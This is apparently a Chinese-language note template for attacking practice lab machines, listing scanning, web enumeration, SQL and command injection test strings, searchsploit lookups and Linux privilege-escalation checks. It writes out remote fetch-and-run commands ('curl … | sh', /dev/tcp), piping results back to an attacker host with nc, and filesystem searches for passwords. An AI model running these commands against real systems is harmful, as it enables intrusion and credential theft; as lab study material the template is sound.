20230101 靶机记录模板

一、主机发现

1.1、网段扫描

netdiscover

sudo netdiscover -i eth1 -r 192.168.56.0/24

arp-scan

sudo arp-scan -I eth1 -l 

nmap -sn

sudo nmap -sn 192.168.56.0/24

二、信息收集

2.2、主动信息收集

nmap 端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.56.999 -oA nmapscan_ports
结果变量化
NmapPorts=`grep open nmapscan_ports.xml|awk -F'"' '{print $4}'|paste -sd ','`
echo $NmapPorts

TCP详细扫描

sudo nmap -sT -sV -sC -O -p $NmapPorts 192.168.56.999 -oA nmapscan_detail

UDP详细扫描

sudo nmap -sU --top-ports 20 192.168.56.999 -oA nmapscan_udp

nmap脚本扫描

sudo nmap --script=vuln 192.168.56.999 -p $NmapPorts -oA nmapscan_vuln

2.3、WEB信息收集

针对 web 端口的枚举

nikto

nikto -port 80,443 -host 192.168.56.999 -o nikto_outputfile.txt

web目录扫描

dirsearch
dirsearch -u http://192.168.56.999 -F

1. 根据状态代码过滤结果:
   -x 403(--exclude-status)指定要排除的状态码列表。
2. 显示完整的扫描路径:
   -F(--full-url)
3. 指定字典
   -w 字典路径

   /usr/share/wordlists/dirb/big.txt   大的
   /usr/share/wordlists/common.txt     常见的
   /usr/share/wordlists/indexes.txt    索引
   /usr/share/wordlists/small.txt      小的
   /usr/share/wordlists/extensions_common.txt  公共扩展
   /usr/share/wordlists/mutations_common.txt   常见变化
gobuster
gobuster dir -w /usr/share/dirb/wordlists/common.txt -u http://192.168.56.999 -x html,zip,bak,txt,php
dirb
dirb http://192.168.56.999 /usr/share/dirb/wordlists/common.txt

针对 web 页面的测试

检查页面信息,审查元素、查看 cookie、tamper 数据、可以使用 curl/wget

在线搜索资源(比如 github),如果应用程序是开源的,根据网站枚举的信息猜测版本,然后找出可能存在的风险

检查 HTTP 选项

测试输入表单参数(比如 1' or 1=1 limit 1; # AND 1' or 1=1--)

	NULL 或 null

	', ", ;, <!

		中断 SQL 字符串或查询,常用于 SQL、XPath、XML 注入

	-, =, +, "

		用于手工 SQL 注入测试

	', &, ! , ¦ , < , >

		用于找出命令执行漏洞

	../

		目录穿越漏洞

三、枚举漏洞

‍‍漏洞利用检索‍ searchsploit

1、查找利用

searchsploit smb windows remote

2、利用寻址

searchsploit -p xxxx.c

3、复制利用文件到当前的工作目录

searchsploit -m 42031.py

四、提权

0、提权指南

https://gtfobins.github.io/

1、sudo

sudo -l

2、操作系统信息

uname -a
cat /etc/os-release

3、查看定时任务

cat /etc/crontab

cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null 

crontab -l -u "$USER" 2>/dev/null
  

4、基础敏感信息查找

查找密码相关文件

find / -type f | xargs grep pass 2>/dev/null

find / .|xargs grep pass

find / . -exec grep pass {} \;

find / -type f -name ".*" 2>/dev/null |grep "pass"

find / -type f -exec ls -l { } \;

5、查找高权限文件

find / -perm -u=s -type f 2>/dev/null

find / -perm -4000 -type f 2>/dev/null

find / -type f 2>/dev/null | grep 用户

6、LinPEAS

# Use a linpeas binary【从github中下载、加权、执行】
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

# From github【从github中执行远程脚本】
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Local network【使用http协议,从kali中远程执行脚本】
sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

# Without curl【使用nc,从kali中远程执行脚本】
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

# Excute from memory and send output back to the host【从内存中执行并将输出发送回kali主机】
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim

# 保存输出结果到指定文件result.txt
./linpeas.sh > result.txt  

	-s(超快和隐身):这将绕过一些耗时的检查,并且不会留下任何痕迹。
	-P(密码):传递将与sudo -l和Bruteforcing其他用户一起使用的密码
	-h帮助
	-o仅执行选定的检查
	-d <IP/NETMASK>使用fping或ping查找主机

7、进程信息信息获取 pspy64

chmod 777 pspy64

# 同时打印命令和文件系统事件,并每1000毫秒扫描procf(= 1sec)
./pspy64 -pf -i 1000 

# 将观察者递归地将两个目录放在两个目录中
./pspy64 -r /path/to/first/recursive/dir -r /path/to/second/recursive/dir -d /path/to/the/non-recursive/dir

# 禁用打印发现的命令,但启用文件系统事件
./pspy64 -p=false -f

五、寻找flag

find / name ".*" 2>/dev/null |grep "flag"

find / name ".*" 2>/dev/null |grep "root"

六、总结

本节使用的工具和漏洞难度:

学习到的知识点: